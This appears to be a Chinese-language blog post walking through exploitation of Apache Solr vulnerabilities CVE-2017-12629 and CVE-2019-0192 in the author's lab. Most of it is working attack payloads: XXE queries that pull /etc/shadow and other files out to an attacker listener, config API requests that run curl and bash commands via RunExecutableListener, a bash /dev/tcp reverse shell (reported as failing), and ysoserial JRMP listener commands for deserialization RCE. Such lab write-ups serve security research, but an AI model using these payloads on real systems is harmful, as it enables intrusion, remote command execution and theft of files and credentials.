Apache Solr XXE & RCE

作者: RabbitMask | 来源:发表于2019-06-17 16:44 被阅读31次

    目录

    CVE-2017-12629
    • XXE
    • RCE
    • 未实现的反弹shell
    • 坑点
    CVE-2019-0192

    关于solr的部署问题,大家参见这里:
    https://www.jianshu.com/p/6c7dc45fb28a

    本次研究涉及到的XXE&RCE包括CVE-2017-12629(存在于7.1.0以前版本)和CVE-2019-0192(存在于5.00至5.5.5版本和6.00至6.6.5版本)。

    CVE-2017-12629

    XXE

    最快捷的检测方式当然是借助DNSLog,当然也可以自己搭建Apache作为日志获取平台,Payload如下:

    {!xmlparser v='<!DOCTYPE a SYSTEM "http://rabbit.xxxxx.ceye.io/xxe_test"><a></a>'}&wt=xml
    

    当Solr解析这个请求时,它会发出一个HTTP请求http://rabbit.xxxxx.ceye.io/xxe_test并将其内容定义为DOCTYPE。

    考虑到我们可以在搜索查询中定义解析器类型,它通常来自不受信任的用户输入,例如网站上的搜索字段。它允许外部攻击者向本地Solr实例发出任意HTTP请求,并绕过所有防火墙限制。

    接下来进行初步检测,使用之前记得url编码处理,然后执行:

    400 请求出错 由于语法格式有误,服务器无法理解此请求。
    收到400的报错,但查看下我们的DNSLog:

    到这里我们基本可以确定了,目标Solr存在XXE漏洞,然后我们来尝试下更深层的利用:任意文件读取。

    作为XXE钉子户,在此我依然选择xxeserve作为数据接收端,构造如下Payload:

    {!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>'}&wt=xml
    

    唉?翻车了?权限不足导致被拒?对哦,我使用的普通用户运行的solr,不过,万一谁习惯root用户运行呢?

    在这里我们尝试访问一个普通文件:/tmp/flag.txt

    {!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/flag.txt">%remote;%int;%trick;]>'}&wt=xml
    

    成功读取文件内容,此处颇为惊喜,居然是做了两次http请求:

    RCE

    RCE存在于核心的config模块,主要是RunExecutableListener创建的侦听器带来的问题:

    同样,最基本的测试我们借助DNSLog来实现。(同样可以借助Apache或NC代替),初步测试我们借助curl命令来做下载请求:

    POST /solr/rabbit/config HTTP/1.1
    Host: 172.16.222.200:1988
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json  
    Content-Length: 229
    
    {
      "add-listener" : {
        "event":"newSearcher",
        "name":"rabbit_rce",
        "class":"solr.RunExecutableListener",
        "exe":"curl",
        "dir":"/usr/bin/",
        "args":["http://rabbit_rce.xxxxx.ceye.io/rce_test"]
      }
    }
    

    在DNSLog上我们可以看到请求,说明命令执行成功,即curl命令成功远程执行。

    当然了,仅仅是一个get请求充其量只能算个poc,我们来尝试下执行其他命令,如bash命令:

    POST /solr/rabbit/config HTTP/1.1
    Host: 172.16.222.200:1988
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json  
    Content-Length: 207
    
    {
      "add-listener" : {
        "event":"newSearcher",
        "name":"who",
        "class":"solr.RunExecutableListener",
        "exe":"bash",
        "dir":"/bin/",
        "args":["-c", "whoami",">>","/tmp/1.txt"]
      }
    }
    

    我们去确认下命令执行情况:

    当然了,真实环境下我们可以借助刚刚XXE实现的任意文件读取来查看我们的命令执行结果:

    {!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/1.txt">%remote;%int;%trick;]>'}&wt=xml
    

    如上,便是XXE & RCE的联合攻击基础使用。

    未实现的反弹shell

    唉,那啥,漫漫征途其实远没有终止,只是经历了一周的研究后也没有突破,在此记录一下感兴趣的小伙伴可以一起研究下。

    RCE反弹shell
    nc -lvvp 1988
    
    POST /solr/rabbit/config HTTP/1.1
    Host: 172.16.222.200:1988
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json  
    Content-Length: 221
    
    {
      "add-listener" : {
        "event":"newSearcher",
        "name":"nc6",
        "class":"solr.RunExecutableListener",
        "exe":"bash",
        "dir":"/bin/",
       "args":["-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]
      }
    }
    

    bash -c命令之前我们已经成功了,然后我就想借助bash实现反弹shell岂不美滋滋,然而并没有成功,这、、这不科学,此为疑惑一。

    XXE&RCE反弹shell

    既然单纯的RCE无法反弹shell,能不能借助XXE实现内部post请求来实现shell反弹呢?于是我就这么做了,借助XXE产生的请求替换为post请求,发送数据包来实现反弹shell:
    {!xmlparser v='<!DOCTYPE a SYSTEM "http://172.16.222.200:1988/solr/rabbit/select?q=1&qt=/solr/rabbit/config?stream.body={"add-listener":{"event":"postCommit","name":"post","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]}}&shards=172.16.222.200:1988/"><a></a>'}
    然而!我又翻车了QAQ,此为疑惑二。

    坑点

    • 记得URL编码,但是只是{ }及其包含的内容进行编码,&wt=xml等内容不要进行编码。
    • 命令执行写文件不要贪,实测出现换行,即多条数据读取失败,当然这里也可能跟我的xxeserve有关。

    CVE-2019-0192

    在文章的最后稍微补充一下CVE-2019-0192远程命令执行漏洞,为什么篇幅这么短呢,因为相对于CVE-2017-12629,它实在谈不上好玩。

    答案自然是条件苛刻,必须要使用JRE7u25以下版本,不过对于旧版本的solr还是比较常见的。

    用到反序列化工具包ysoserial,借助payload——Jdk7u21监听 :

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/rabbitmask"
    
    POST /solr/rabbit/config HTTP/1.1
    Host: 172.16.222.200:1988
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json  
    Content-Length: 93
    
    {"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://172.16.222.194:1099/obj"}}
    

    当然,如果远程测试环境的话我们依然借助DNSLog来确认测试结果:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "ping -c 2  rabbit.xxxxx.ceye.io"
    

    那么,本章就讨论到这里,关于两处未完成的疑惑,欢迎小伙伴私信讨论。

    灵感链接:http://lucene.472066.n3.nabble.com/Re-Several-critical-vulnerabilities-discovered-in-Apache-Solr-XXE-amp-RCE-td4358308.html

    相关文章

      网友评论

        本文标题:Apache Solr XXE & RCE

        本文链接:https://www.haomeiwen.com/subject/qihpfctx.html